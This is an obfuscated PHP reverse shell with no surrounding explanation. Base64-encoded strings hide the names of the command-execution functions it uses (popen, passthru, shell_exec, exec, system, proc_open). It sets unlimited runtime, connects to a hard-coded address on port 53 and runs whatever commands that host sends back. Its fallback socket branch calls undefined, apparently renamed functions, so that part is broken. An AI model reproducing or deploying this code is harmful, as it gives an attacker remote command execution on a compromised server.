d2: contentstart
<?php

$xv1=long2ip(3232273282);$pl2=53;@set_time_limit(0);@ignore_user_abort(1);@ini_set(base64_decode('bWF4X2V4ZWN1dGlvbl90aW1l'),0);$zh3=@ini_get(base64_decode('ZGlzYWJsZV9mdW5jdGlvbnM='));if(!empty($zh3)){$zh3=preg_replace(base64_decode('L1ssIF0rLw=='),base64_decode('LA=='),$zh3);$zh3=explode(base64_decode('LA=='),$zh3);$zh3=array_map(base64_decode('dHJpbQ=='),$zh3);}else{$zh3=array();}if(!function_exists(base64_decode('VGVGVENpdERidA=='))){function pi0($iy4){global $zh3;if(FALSE !==strpos(strtolower(PHP_OS),base64_decode('d2lu'))){$iy4=$iy4.base64_decode('IDI+JjEK');}$um5=base64_decode('aXNfY2FsbGFibGU=');$ex6=base64_decode('aW5fYXJyYXk=');if($um5(base64_decode('cG9wZW4='))and!$ex6(base64_decode('cG9wZW4='),$zh3)){$xl7=popen($iy4,base64_decode('cg=='));$qo8=NULL;if(is_resource($xl7)){while(!feof($xl7)){$qo8.=fread($xl7,1024);}}@pclose($xl7);}else if($um5(base64_decode('cGFzc3RocnU='))and!$ex6(base64_decode('cGFzc3RocnU='),$zh3)){ob_start();passthru($iy4);$qo8=ob_get_contents();ob_end_clean();}else if($um5(base64_decode('c2hlbGxfZXhlYw=='))and!$ex6(base64_decode('c2hlbGxfZXhlYw=='),$zh3)){$qo8=shell_exec($iy4);}else if($um5(base64_decode('ZXhlYw=='))and!$ex6(base64_decode('ZXhlYw=='),$zh3)){$qo8=array();exec($iy4,$qo8);$qo8=join(chr(10),$qo8).chr(10);}else if($um5(base64_decode('c3lzdGVt'))and!$ex6(base64_decode('c3lzdGVt'),$zh3)){ob_start();system($iy4);$qo8=ob_get_contents();ob_end_clean();}else if($um5(base64_decode('cHJvY19vcGVu'))and!$ex6(base64_decode('cHJvY19vcGVu'),$zh3)){$to9=proc_open($iy4,array(array(pipe,base64_decode('cg==')),array(pipe,base64_decode('dw==')),array(pipe,base64_decode('dw=='))),$eva);$qo8=NULL;while(!feof($eva[1])){$qo8.=fread($eva[1],1024);}@proc_close($to9);}else{$qo8=0;}return $qo8;}}$xqb=base64_decode('bm8gZXhlYyBmdW5jdGlvbnM=');if(is_callable(base64_decode('ZnNvY2tvcGVu'))and!in_array(base64_decode('ZnNvY2tvcGVu'),$zh3)){$kec=@fsockopen($xv1,$pl2);while($iy4=fread($kec,2048)){$itd='';if(substr($iy4,0,3)==base64_decode('Y2Qg')){chdir(substr($iy4,3,-1));}else if(substr($iy4,0,4)==base64_decode('cXVpdA==') ||substr($iy4,0,4)==base64_decode('ZXhpdA==')){break;}else{$itd=pi0(substr($iy4,0,-1));if($itd===false){fwrite($kec,$xqb);break;}}fwrite($kec,$itd);}fclose($kec);}else{$kec=@kbe(AF_INET,SOCK_STREAM,SOL_TCP);@pcf($kec,$xv1,$pl2);@gp10($kec,base64_decode('c29ja2V0X2NyZWF0ZQ=='));while($iy4=@aa11($kec,2048)){$itd='';if(substr($iy4,0,3)==base64_decode('Y2Qg')){chdir(substr($iy4,3,-1));}else if(substr($iy4,0,4)==base64_decode('cXVpdA==') ||substr($iy4,0,4)==base64_decode('ZXhpdA==')){break;}else{$itd=pi0(substr($iy4,0,-1));if($itd===false){@gp10($kec,$xqb);break;}}@gp10($kec,$itd,strlen($itd));}@ac12($kec);}

?>

d2: contentend
